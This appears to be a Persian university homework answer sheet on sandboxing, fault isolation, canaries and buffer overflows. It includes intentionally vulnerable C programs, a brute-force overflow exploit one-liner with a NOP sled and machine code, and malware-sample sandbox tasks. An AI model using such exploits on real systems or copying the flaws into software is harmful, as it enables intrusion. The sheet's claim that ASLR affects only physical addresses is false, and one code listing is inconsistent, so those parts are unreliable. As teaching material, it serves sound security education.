به نام خدا

پاسخ تمرینات Advanced Buffer Overflow & SandBoxing & Software Fault Isolation

استاد: دکتر مقصود عباسپور

کمک تدریس: جواد زندی

لطفا در ارسال تمرینات خود به نکات مهم زیر توجه داشته باشید:

۱- مهلت این سری تمرینات تا ۱۸اردیبهشت قبل از کلاس استاد درس می‌باشد.

۲- برای دریافت پاسخ این تمرین به صورت فایل pdf روی لینک کلیک کنید.

۳- نحوه تحویل تمرینات شما به دو صورت می‌تواند باشد:

الف) تمریناتی که به صورت سوالات تحلیلی و تعریفی و مسله ای است به صورت خوانا دستی روی کاغذ **بنویسید** و برگه خود را تحویل اینجانب دهید. در مورد برگه‌های تمرین خود دقت داشته باشید که حتما نام و شماره دانشجویی را بالای برگه‌ی خود بنویسید.

ب) سوالاتی از تمرین که شامل برنامه‌نویسی است: در این مورد باید متن برنامه (source code) که حتما باید قابل اجرا باشد به همراه متعلقات لازم به ایمیل حل‌تمرین با درنظرگرفتن عنوان مناسب با فرمول [SecNet93B][hw3][student#][full name] ارسال کنید. همچنین به خاطر داشته باشید که درصورتی که قصد دارید چندین فایل برای حل تمرین بفرستید، ابتدا باید آنها را zip کنید و نام فایل زیپ شده را به فرمول فوق درآورید و سپس ضمیمه ایمیل کرده و ارسال کنید. درپایان اگر همه مراحل فوق را به درستی انجام دهید یک ایمیل تاییدیه دریافت تمرین از طرف سیستم به طور خودکار برای شما ارسال می‌شود.

۴- همه‌ی دوستان دقت داشته باشند که تصمیم‌گیری در مورد تمرینات یکسان برعهده استاد درس خواهد بود و حل‌تمرین موظف به نوشتن گزارش تخلف و ارایه آن به استاد درس می‌باشد.

۵- از آنجایی که پاسخ‌های شما بادقت صحیح‌می‌شود، ایده‌های‌خلاقانه و پاسخ‌های هوشمندانه در حل‌سوالات طبیعتا نمره‌ای فراتر از تمرین دارد.

۶- در مورد تمرینات این سری تحویل‌ها با کمی جزیات همراه می‌باشد. لطفا در ارایه تمرینات خود به آنها توجه نمایید. این جزیات در خود سوال حتما قید خواهد شد.

سوالات مفهومی:

۱- ابتدا تکنیک SandBox را در یک خط شرح دهید و سپس بگویید منظور از قابلیت sandbox در آنتی ویروس‌های رایجی مثل Kaspersky، Avast و... چیست؟ به عبارت دیگر، این قابلیت چه امکانی به این آنتی ویروس‌ها می‌دهد؟

پاسخ: به اسلایدهای درس مراجعه شود.

۲- در ابتدا توضیح دهید که یک SandBox چگونه طراحی و پیاده‌سازی می‌شود(کلیات را قید کنید). حال که ساختار SandBox را می‌شناسید به عنوان مهندس امنیت اطلاعات به پرسش زیر پاسخ دهید:

- توسط SandBox مشاهده شده که برنامه رفتار خوبی از خود نشان داده است، آیا می‌توان نتیجه گرفت که برنامه مورد آزمایش مخرب نیست؟ پاسخ: خیر نمی‌توان. چون برنامه‌های مخرب حرفه‌ای قادر به تشخیص محیط sandbox هستند. -اگر پاسخ شما خیر است باید توضیح دهید: ۱-چطور امکان‌پذیر است؟ ۲-پس علت استفاده از SandBox چیست؟ پاسخ: چون فایل‌های مخرب با تشخیص محیط sandbox بخش مخرب خود را اجرا نمی‌کنند تا sandbox در تشخیص دچار اشتباه شود. علت استفاده در این است که اگر مخرب تشخیص داده شود، حتما مخرب است، ولی اگر مخرب تشخیص داده نشود، لزوما پاک نیست و فایل‌هایی که مخرب نباشند جزو دسته‌ی ناشناخته قرار می‌گیرند، نه پاک و سالم.

-اگر بلی است باید توضیح دهید چرا چنین اعتمادی درست است؟

۳- در کلاس حل‌تمرین به تفصیل در مورد روش‌های آنالیز static و dynamic صحبت کردیم، اکنون بگویید که:

i. چه زمانی یک تحلیل‌گر روش static در کار خود(static analysis) ناکام مانده و به سراغ روش dynamic می‌رود؟ پاسخ: زمانی که فایل مخرب بخش‌هایی از کد خود را رمزنگاری کند. در این صورت فقط در زمان اجرا می‌توان به عملکرد واقعی برنامه پس برد.

ii. به‌نظر شما چرا تحلیل‌گر روش static برای تحلیل dynamic از SandBox استفاده می‌کند؟ آیا گزینه‌های بهتری وجود دارد؟ پاسخ: به‌طور کلی برای جلوگیری از آسیب‌های احتمالی فایل‌های مخرب هیچ‌گاه آنها را در محیطی که داده‌های ارزشمندی دارد، اجرا نمی‌کنند. به طور کلی همیشه در سیستمی اجرا می‌کنند که همه‌ی آسیب‌های فایل مخرب به حداقل ممکن برسد.

۴- ابزارهای زیر همگی برای محدود کردن خطاهای نرم‌افزارها(Software Fault Isolation) استفاده می‌شود:

i. Chroot
ii. jail
iii. Ptrace
iv. Systrace
v. Strace
vi. Sandbox

برای هرکدام توضیح دهید آنها چه دسته از خطاها را مهار کرده و ایراد هرکدام در چه چیزی می‌باشد؟

پاسخ: به اسلایدهای درس مراجعه شود.

۵- در مورد تکنیک روش canary در کلاس درس آشنا شدید. تکنیک canary اصولا به چند دسته تقسیم می‌شود؟ هرکدام را شرح دهید. همچنین بگویید:

i. آیا حملاتی وجود دارد که بتواند تکنیک canary را دور بزند؟ اگر وجود دارد راه‌های دفاع در برابر آنها را ذکر کنید.

ii. آیا حملاتی وجود دارد که تکنیک canary نتواند جلوی آنها را بگیرد؟

سوالات عملی:

توجه: برای سریعتر انجام‌شدن تمرینات عملی بهتر است به نکات زیر توجه داشته باشید:

- در مورد تمرین ASLR حتما باید ابتدا دستور زیر را اجرا کرده تا ASLR سیستم شما فعال گردد:

```
echo 1 > /proc/sys/kernel/randomize_va_space
```

در صورتی که تسلط کافی برروی این روش ندارید می‌توانید ویدیوی زیر را که از سایت یوتیوب انتخاب‌شده است مشاهده بفرمایید تا مشکل شما حل شود.

- در مورد تمرینات SandBox باید به نکات زیر توجه کنید:

دسته‌ای از SandBox ها تجاری هستند(Node32, Kaspersky, ...) و شما برای استفاده از آنها مجبور نیستید یک نسخه از آنها را نصب نمایید. می‌توانید با مراجعه به سایت تحلیل ویروس جامع مراجعه فرمایید.

دسته‌ای از SandBox ها متن‌باز و رایگان است. شما می‌توانید یک نسخه از آنها را (مثلا cuckoo) با استفاده از راهنمای آن برروی سیستم خودتان نصب بفرمایید(که این مورد توصیه می‌شود.) یا اینکه از نسخه‌های آنلاین آنها استفاده نمایید.

- برنامه‌های قابل اجرای موجود در پیوست را اکیدا توصیه می‌کنم روی سیستم خودتان اجرا ننماید. آنها به شدت خطرناک هستند. در صورتی که این تذکر را نادیده بگیرید، عواقب آن به عهده خودتان خواهد بود.

۱- در این سوال حتما ابتدا ASLR را با مقدار 1 فعال کرده و سپس به سوال زیر پاسخ دهید:

```
#include <time.h>
#include <stdlib.h>
void stringMirorring();
void runOnExploit();
int main () {
        stringMirorring ();
        return 0;
}
void FeedMeInput() {
```

```
        char buffer[8];
        gets(buffer);
        puts(buffer);
}
void runOnExploit () {
        printf("You have exploit me successfully!\n");
}
```

I. (بدون دستکاری کد برنامه) برای برنامه‌ی فوق ورودی طراحی نمایید که تابع runOnExploit اجرا شود.

II. برای تابع فوق ورودی طراحی نمایید که تابع exit اجرا شود.

III. آیا می‌توانید ورودی طراحی نمایید که اول تابع runOnExploit اجرا شود و سپس تابع اصلی exit اجرا شود؟

پاسخ: با فعال‌کردن روش ASLR نمی توان جلوی این دسته از حملات را گرفت. بنابراین پاسخ این سوال مانند سوال تمرین قبل می‌باشد. چراکه آدرس تابع runOnExploit به صورت منطقی بوده و توسط حمله‌کننده هم به صورت منطقی به برنامه داده می‌شود(آدرس‌های منطقی تحت تاثیر ASLR قرار نمی‌گیرند.) بنابراین نکته سوال در این بود که فقط آدرس‌های فیزیکی تحت‌تاثیر ASLR قرار می‌گیرند.

۲- حال که نوشتن shellcode را آموخته‌اید، اکنون shellcode ای بنویسید که برنامه‌ی موجود در مسیر /bin/sh را اجرا نماید(بنابراین باید از فراخوانی execve استفاده نمایید). بعد از اینکه shellcode را نوشتید ASLR سیستم‌تان را با مقدار 1 مقداردهی کرده و سپس برنامه‌ی زیر را توسط shellcode خودتان exploit کنید.

```
int main (int argc, char *argv[]) {
        char buffer [10];
        if (argc>1)
                strcpy (buffer, argv[1]);
        return 0;
}
```

```
while true; do ./a.out python -c 'print "0"*22 + "\xf0\xf5\xff\xbf" + "\x90"*100000 +
"\xbb\x04\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80"'; done
```

۳- برنامه‌ی شماره‌ی سه را از سیستم درس‌افزار از قسمت پیام‌های شخصی خودتان دانلود کنید. این برنامه را درون SandBox اجرا کنید و سپس اطلاعات زیر را استخراج نماید.

- برنامه مخرب است یا نه؟
- با چه فایل‌هایی سروکار دارد؟ (لیست فایل‌های بازشده توسط برنامه)
- کدام رجیسترها را در رجیستری ویندوز (می‌توانید تغییرات را با regedit ببینید) تغییر می‌دهد؟
- از چه کتابخانه‌هایی(dll.) استفاده می‌کند؟
- آیا فعالیت شبکه دارد؟ اگر دارد به چه domain(یا ip) اطلاعات می‌فرستد؟ اگر مدعی هستید اطلاعتی ارسال می‌کند آنها را ضبط کنید و در پیوست پاسخ تمرین قرار دهید.
- برنامه‌ی فوق درواقع چه کاری انجام می‌دهد؟

۴- برنامه‌ی چهار سه را از سیستم درس‌افزار از قسمت پیام‌های شخصی خودتان دانلود کنید. این برنامه را درون SandBox اجرا کنید و سپس اطلاعات زیر را استخراج نماید.

- برنامه مخرب است یا نه؟
- با چه فایل‌هایی سروکار دارد؟ (لیست فایل‌های بازشده توسط برنامه)
- کدام رجیسترها را در رجیستری ویندوز (می‌توانید تغییرات را با regedit ببینید) تغییر می‌دهد؟
- از چه کتابخانه‌هایی(dll.) استفاده می‌کند؟
- آیا فعالیت شبکه دارد؟ اگر دارد به چه domain(یا ip) اطلاعات می‌فرستد؟ اگر مدعی هستید اطلاعتی ارسال می‌کند آنها را ضبط کنید و در پیوست پاسخ تمرین قرار دهید.
- برنامه‌ی فوق درواقع چه کاری انجام می‌دهد؟